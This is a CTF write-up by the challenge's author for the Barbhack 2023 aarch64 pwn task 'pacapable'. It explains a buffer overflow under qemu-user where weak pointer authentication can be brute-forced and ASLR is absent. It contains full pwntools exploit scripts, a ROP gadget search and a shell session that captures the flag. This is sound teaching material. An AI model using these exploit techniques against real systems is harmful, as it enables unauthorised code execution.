Barbhack 2023 - pacapable - Pwn

6 minute read

Here is the solution of the Pwn challenge “pacapable” which I create for barbhack CTF. The challenge was solved by only two teams.

Description

Try to pwn this, I use qemu and another surprise as well, you have no chance :)

Solution

Here is the docker file of the challenge :

FROM ubuntu:22.04

RUN apt update &&\
apt install -y socat netcat qemu-user gcc-aarch64-linux-gnu gdb-multiarch

RUN apt-get update

RUN useradd --home-dir /home/pacapable --create-home pacapable
RUN mkdir /home/pacapable/chall

COPY ./pacapable /home/pacapable/chall/
COPY flag.txt /home/pacapable/chall/
RUN chmod 555 /home/pacapable/chall/pacapable

WORKDIR /home/pacapable/chall
USER pacapable

EXPOSE 4444

CMD socat tcp-listen:4444,reuseaddr,fork exec:"qemu-aarch64 -L /usr/aarch64-linux-gnu /home/pacapable/chall/pacapable"

HEALTHCHECK --interval=30s --timeout=3s \
    CMD nc -w 1 -v -z 127.0.0.1 4444 || exit 1

So the challenge run the pacapable binary in qemu userland in aarch64 mode.

Let’s reverse it with IDA :

There is a basic buffer overflow without stack canary which allows us to modify x30 of the main function.

But there’s two not common instructions in the start and the end of the functions : PACIASP and AUTIASP. These come from the PAC protection. Here is an article which explain it https://blog.ret2.io/2021/06/16/intro-to-pac-arm64/ .

These are authentication and verification of pointers instruction. The goal of them is to sign the return address in the start of the function and verify the signature at the end of it. If the signature is not valid, the program will SEGFAULT.

The PACIASP instruction sign the return address by setting values in the upper part of the return address, the AUTIASP will remove these bytes if the instruction is correct.

This protection is hard to bypass, it may be possible to hijack the control flow of the program to forge authenticated pointer like in the article mentioned above, but in our case the code doesn’t permit it.

We need to debug the program to see if we could found something interesting.

We can see that X30 (LR) is signed with one byte. If we run the program again, that’s the same but with a different byte, okay.

But one byte is enough to be bruteforce no ?

In fact, the implementation of PAC in qemu is bad, here is a post on a forum which mentions it : https://www.mail-archive.com/qemu-discuss@nongnu.org/msg07220.html

When I create the challenge, I discover this accidentally and thought it could be cool to use this problem to create a challenge.

The second discovery is that qemu in user land doesn’t emulate binary with ASLR, so we don’t have to find leak to bypass it, we could directly jump on the LIBC to get a shell :) We still need to find a good gadget.

To be sure our assumption is good, we could create a bruteforce script which return to main. We have 1/255 chance to hit it.

#!/usr/bin/env python3
from pwn import *

"""

"""
context.terminal = ["tmux", "new-window"]

bin = ELF("../out/pacapable",checksec=False)
#libc = ELF("./libc.so.6",checksec=False)

context.binary = bin
io = None

def sla(delim,line): return io.sendlineafter(delim,line)
def sl(line): return io.sendline(line)
def rcu(delim): return io.recvuntil(delim)
def rcv(number): return io.recv(number)
def rcvl(): return io.recvline()

def conn():
    global io
    if args.GDB:
        io = gdb.debug([bin.path], gdbscript='''
        b*main
        c
        ''')
    elif args.REMOTE:
        io = remote("127.0.0.1", 4444)
    else:
        #io = process(["qemu-aarch64","-L","/usr/aarch64-linux-gnu","-g","1234", bin.path])
        io = process(["qemu-aarch64","-L","/usr/aarch64-linux-gnu", bin.path])

main = bin.sym['main']
main |= 0x0010000000000000

pld = b"AAAAAAAAAAAAAAAAAAAAAAAA"+ p64(main)

print(pld)

for i in range(300):
    conn()
    sla(b"Welcome :)\n",pld)

    try:
        rcu(b"Welcome :)\n")
        print("DONE")
        break
    except:
        io.close()


io.interactive()
$ python3 bf.py REMOTE
b'AAAAAAAAAAAAAAAAAAAAAAAA<\x07@\x00\x00\x00\x10\x00'
[+] Opening connection to 127.0.0.1 on port 4444: Done
[...]
[*] Closed connection to 127.0.0.1 port 4444
[+] Opening connection to 127.0.0.1 on port 4444: Done
DONE

It works, so now we only need to find a nice gadget in the libc to put “/bin/sh\x00” pointer in x0 and call system !

$ ropper -f /usr/aarch64-linux-gnu/lib/libc.so.6 --search 'ldr x0, [sp'
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: ldr x0, [sp

[INFO] File: /usr/aarch64-linux-gnu/lib/libc.so.6
0x0000000000069500: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret; 
0x0000000000076ef4: ldr x0, [sp, #0x20]; ldp x29, x30, [sp], #0x30; br x16; 
0x0000000000102c50: ldr x0, [sp, #0x28]; sub w0, w0, w19; ldr x19, [sp, #0x10]; ldp x29, x30, [sp], #0x30; ret; 
0x000000000012d374: ldr x0, [sp, #0x30]; ldr x1, [x20, #0x280]; blr x1; 
0x000000000011eb30: ldr x0, [sp, #0x40]; ldr x1, [x0, #0x38]; cbz x1, #0x11eb44; mov x0, x20; blr x1; 
0x000000000010f0ec: ldr x0, [sp, #0x50]; bl #0x12d7e0; ldr x2, [sp, #0x50]; blr x2; 
0x00000000000fd1a0: ldr x0, [sp, #0x60]; bl #0x12d7e0; ldr x2, [sp, #0x60]; mov x1, x20; mov x0, x22; blr x2; 
0x000000000010efd0: ldr x0, [sp, #0x60]; cbnz x19, #0x10ef20; bl #0x12d7e0; ldr x1, [sp, #0x60]; movz w0, #0; blr x1; 
0x00000000000d8854: ldr x0, [sp, #0x60]; ldp x29, x30, [sp], #0x150; ret; 
0x0000000000119d2c: ldr x0, [sp, #0x60]; ldr x1, [x0, #0x38]; cbz x1, #0x119d40; mov x0, x25; blr x1; 
0x00000000000da178: ldr x0, [sp, #0x78]; add x3, sp, #0x88; ldr w2, [x2, #0x18]; blr x4; 
0x00000000000fdb48: ldr x0, [sp, #0x78]; mov x1, x21; ldr x2, [sp, #0xa8]; blr x2; 
0x000000000005eb60: ldr x0, [sp, #0x78]; mov x2, x24; mov x1, x21; ldr x3, [x0, #0x38]; mov x0, x20; blr x3; 
0x00000000000d9fb4: ldr x0, [sp, #0x78]; ubfiz x2, x2, #2, #1; add x3, sp, #0x88; ldr w2, [x5, x2, lsl #2]; blr x4; 
0x0000000000049f70: ldr x0, [sp, #0x80]; ldp x29, x30, [sp], #0xc0; ret; 
0x000000000011ed28: ldr x0, [sp, #0x80]; ldr x1, [x0, #0x38]; cbz x1, #0x11ede8; mov x0, x22; blr x1; 
0x0000000000120940: ldr x0, [sp, #0x88]; ldr x0, [x0]; ldr x1, [x0, #0x38]; ldr x1, [x1, #0x18]; blr x1; 
0x0000000000120ac8: ldr x0, [sp, #0x88]; ldr x1, [sp, #0xc0]; ldr x0, [x0]; ldr x2, [x0, #0x38]; ldr x2, [x2, #0x10]; blr x2; 
0x00000000001205b8: ldr x0, [sp, #0x88]; mov x1, x27; ldr x0, [x0]; ldr x2, [x0, #0x38]; ldr x2, [x2, #8]; blr x2; 
0x000000000002a258: ldr x0, [sp, #0x90]; mov x3, x23; movz w6, #0; movz x4, #0; blr x8; 
0x00000000000fdb40: ldr x0, [sp, #0xa8]; bl #0x12d7e0; ldr x0, [sp, #0x78]; mov x1, x21; ldr x2, [sp, #0xa8]; blr x2; 
0x000000000010f3b0: ldr x0, [sp, #0xc0]; cbz x28, #0x10f3e8; bl #0x12d7e0; ldr w0, [x28]; ldr x1, [sp, #0xc0]; blr x1; 
0x00000000001193b8: ldr x0, [sp, #0xf8]; ldr x1, [x0, #0x38]; cbz x1, #0x119274; mov x0, x21; blr x1; 
0x000000000011947c: ldr x0, [sp, #0xf8]; ldr x1, [x0, #0x38]; cbz x1, #0x119490; mov x0, x24; blr x1; 
0x000000000003974c: ldr x0, [sp, #8]; add sp, sp, #0x10; and x0, x0, #0x7fff000000000000; add x0, x0, x1; lsr x0, x0, #0x3f; ret; 
0x0000000000039b98: ldr x0, [sp, #8]; add sp, sp, #0x10; lsr x0, x0, #0x3f; ret;
0x0000000000069500: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

This one is perfect, it allows us to control x0 and return on system.

Here is the final script :

#!/usr/bin/env python3
from pwn import *
import os

context.terminal = ["tmux", "new-window"]
bin = ELF("../out/pacapable",checksec=False)
libc = ELF("/usr/aarch64-linux-gnu/lib/libc.so.6",checksec=False)

context.binary = bin
io = None

def sla(delim,line): return io.sendlineafter(delim,line)
def sl(line): return io.sendline(line)
def rcu(delim): return io.recvuntil(delim)
def rcv(number): return io.recv(number)
def rcvl(): return io.recvline()

def conn():
    global io
    if args.GDB:
        io = gdb.debug([bin.path], gdbscript='''
        b*main
        c
        ''')
    elif args.REMOTE:
        io = remote("127.0.0.1", 1301)
    else:
        #io = process(["qemu-aarch64","-L","/usr/aarch64-linux-gnu","-g","1234", bin.path])
        io = process(["qemu-aarch64","-L","/usr/aarch64-linux-gnu", bin.path])

leak = 0x00000055008c1fe0 # from the GOT with GDB (no ASLR)
libc.address = leak - libc.sym['setbuf']

info(f"Base libc @ : {hex(libc.address)}")
system = libc.sym['system']
info(f"System @ {hex(system)}")

# 0x0000000000069500: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
gadget = libc.address + 0x0000000000069500
gadget |= 0x0020000000000000 # Mask a Byte // PAC bruteforce
binsh =  next(libc.search(b"/bin/sh\x00"))

pld = b"AAAAAAAAAAAAAAAAAAAAAAAA"+ p64(gadget) + p64(0xdead) + p64(system) + p64(0xdead) + p64(binsh)

for i in range(300):
    conn()
    rcu(b":)\n")
    sl(pld)
    try:
        sleep(0.1)
        sl("touch test")
        sl("id")
        rcv(10)
        print("DONE")
        #sleep(0.3)
        io.interactive()
        break
    except:
        io.close()
[*] Base libc @ : 0x5500850000
[*] System @ 0x5500896d94
[+] Opening connection to 127.0.0.1 on port 1301: Done
[*] Closed connection to 127.0.0.1 port 1301
[..]
[*] Closed connection to 127.0.0.1 port 1301
[+] Opening connection to 127.0.0.1 on port 1301: Done
DONE
[*] Switching to interactive mode
acapable) gid=1000(pacapable) groups=1000(pacapable)
$ cat flag.txt
brb{DuMb_P4C_1mpl3m3n74710n_bY_Q3mU}

Flag : brb{DuMb_P4C_1mpl3m3n74710n_bY_Q3mU}